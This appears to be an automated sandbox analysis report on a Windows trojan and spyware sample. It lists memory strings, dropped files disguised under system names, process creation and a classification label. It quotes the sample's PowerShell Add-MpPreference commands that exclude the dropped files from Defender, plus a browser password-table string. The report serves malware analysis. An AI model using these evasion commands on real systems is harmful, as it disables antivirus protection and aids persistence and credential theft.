Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB64D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB691000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000014.00000002.2931907406.000001D06BAF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2731586431.0000025790072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000014.00000002.2021120169.000001D05BCA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.00000251907A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: decFF62.tmp, 00000001.00000002.1726751178.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, decFF62.tmp, 00000001.00000002.1726751178.0000000003ADD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.2021120169.000001D05BA81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.0000025190581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A7DE1000.00000004.00000800.00020000.00000000.sdmp, RuntimeBroker.exe, 0000002A.00000002.3129151130.0000000002EAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000014.00000002.2021120169.000001D05BCA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780228000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80229000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.00000251907A7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000019.00000002.2994903097.00000162C0294000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.c
Source: powershell.exe, 00000016.00000002.2989545520.000001FCE8D4C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.t.com/pk
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000014.00000002.2021120169.000001D05BA81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.1837271839.0000025780001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.1849224578.000001FC80001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.1989064271.0000025190581000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1993582633.00000162A7DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB672000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002E.00000003.1843783322.00000206CB60E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB6A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000019.00000002.1993582633.00000162A8008000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000014.00000002.2931907406.000001D06BAF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2731586431.0000025790072000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2720843413.000001FC90072000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB6C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: svchost.exe, 0000002E.00000003.1843783322.00000206CB672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://support.mozilla.org
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: DtLRskbviS.42.dr, yqcGr3TmGU.42.dr, m8ZJzXTxZm.42.dr, 7sR6JwgBj2.42.dr, ExC2v4LvZF.42.dr, 4frOErC1oE.42.dr, gsa3w8XvJW.42.dr, LK5SNcTueK.42.dr, bcyCh0YT3n.42.dr, xhYvmCAEBe.42.dr	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: RuntimeBroker.exe, 0000002A.00000002.3185380780.0000000013460000.00000004.00000800.00020000.00000000.sdmp, OQYEQC26qN.42.dr, 8b0ZcBszCh.42.dr, ddzOjnZuHw.42.dr, 2DSZZv91SN.42.dr, Dv5Mnas1l7.42.dr, mxjuQYDPGE.42.dr, zios6tYB3Q.42.dr, j3io2vF2wC.42.dr, HOoF8x22o9.42.dr, mLh1P6xIV2.42.dr, 1YQqIT05wB.42.dr, IQyB0HyqJo.42.dr, Hq7oeEoiXb.42.dr, OlxSXimRBt.42.dr, WvCkli3O03.42.dr, YsKVO0C5qb.42.dr, 0a1CxWnOlM.42.dr, PDrEQph3me.42.dr, vFmrbdqxvI.42.dr, eVpAJSGXnM.42.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://www.mozilla.org
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: yBxTcB73xF.42.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe

Window created: window name: CLIPBRDWNDCLASS

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: c:\Windows\System32\SecurityHealthSystray.exe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

File deleted: C:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 1_2_00007FFD9B8A3415	1_2_00007FFD9B8A3415
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 1_2_00007FFD9B891EC3	1_2_00007FFD9B891EC3
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Code function: 1_2_00007FFD9BA80920	1_2_00007FFD9BA80920
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 20_2_00007FFD9B9530E9	20_2_00007FFD9B9530E9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FFD9B983339	23_2_00007FFD9B983339
Source: C:\Users\Default\dllhost.exe	Code function: 32_2_00007FFD9B891EC3	32_2_00007FFD9B891EC3
Source: C:\Users\Default\dllhost.exe	Code function: 33_2_00007FFD9B881EC3	33_2_00007FFD9B881EC3
Source: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe	Code function: 35_2_00007FFD9B871EC3	35_2_00007FFD9B871EC3
Source: C:\Program Files\Windows Portable Devices\services.exe	Code function: 40_2_00007FFD9B891EC3	40_2_00007FFD9B891EC3
Source: C:\Program Files\Windows Portable Devices\services.exe	Code function: 50_2_00007FFD9B8B1EC3	50_2_00007FFD9B8B1EC3
Source: C:\Users\Default\dllhost.exe	Code function: 53_2_00007FFD9B881EC3	53_2_00007FFD9B881EC3

Source: Joe Sandbox View

Dropped File: C:\Users\user\Desktop\AlYgfivS.log 32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B

Source: t8xf0Y1ovi.exe

Static PE information: Number of sections : 18 > 10

Source: t8xf0Y1ovi.exe, 00000000.00000002.1843979198.00000000005BB000.00000008.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMicrosoft-Edge.exe6 vs t8xf0Y1ovi.exe
Source: t8xf0Y1ovi.exe, 00000000.00000003.1658146051.0000000000D33000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameVisualStudio.Shell.Framework.dll$ vs t8xf0Y1ovi.exe

Source: classification engine

Classification label: mal100.spre.troj.spyw.expl.evad.winEXE@44/386@1/2

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

File created: C:\Program Files\Windows Portable Devices\services.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

File created: C:\Users\user\Desktop\PynuHVwq.log

Jump to behavior

Source: C:\Users\Default\dllhost.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:332:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7228:120:WilError_03
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\6424e5e1b800d7114c06986ec77eca39944ebd910f91bf37cb5c260623f3ebe2

Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe

File created: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat"

Source: t8xf0Y1ovi.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_ALIGN_1BYTES, IMAGE_SCN_ALIGN_4BYTES, IMAGE_SCN_ALIGN_8BYTES, IMAGE_SCN_ALIGN_16BYTES, IMAGE_SCN_ALIGN_32BYTES, IMAGE_SCN_ALIGN_64BYTES, IMAGE_SCN_ALIGN_256BYTES, IMAGE_SCN_ALIGN_1024BYTES, IMAGE_SCN_ALIGN_2048BYTES, IMAGE_SCN_ALIGN_4096BYTES, IMAGE_SCN_ALIGN_8192BYTES, IMAGE_SCN_ALIGN_MASK, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Recent\RuntimeBroker.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: FEoTEnMr4j.42.dr, UOd7qNKtpd.42.dr, kDxsnV6Wjs.42.dr, mMZkgTmARP.42.dr, dP3QW1Pf06.42.dr, 3yZseVvm4W.42.dr, 49hG5zVaby.42.dr, 4GRvr2IuRW.42.dr, h6zS9gDx4o.42.dr, prIHCpZloC.42.dr, 8bXfGvhbMS.42.dr, 0XXyAKh86G.42.dr, t2m8cLPD4y.42.dr, 7kZyA47GFN.42.dr, 2eGF4TOpJV.42.dr, 0g0o7pPpGS.42.dr, PD2GEnK7Xh.42.dr, PCbHoUGurA.42.dr, zTMwAs4Dyr.42.dr, aDhgD6nCCb.42.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: t8xf0Y1ovi.exe

ReversingLabs: Detection: 52%

Source: unknown	Process created: C:\Users\user\Desktop\t8xf0Y1ovi.exe "C:\Users\user\Desktop\t8xf0Y1ovi.exe"
Source: C:\Users\user\Desktop\t8xf0Y1ovi.exe	Process created: C:\Users\user\AppData\Local\Temp\decFF62.tmp C:\Users\user\AppData\Local\Temp\decFF62.tmp
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bfcpuvvr\bfcpuvvr.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESD2D.tmp" "c:\Windows\System32\CSCCA613A2B92B2400B95C3CB4E6C4E457D.TMP"
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\Recent\RuntimeBroker.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\dllhost.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\services.exe'
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\microsoft.net\RuntimeBroker.exe'
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\decFF62.tmp	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\IsGt2uaTvL.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\Default\dllhost.exe C:\Users\Default\dllhost.exe
Source: unknown	Process created: C:\Users\Default\dllhost.exe C:\Users\Default\dllhost.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: unknown	Process created: C:\Program Files (x86)\Google\Update\Install\kzyTFNNJbez.exe "C:\Program Files (x86)\google\Update\Install\kzyTFNNJbez.exe"
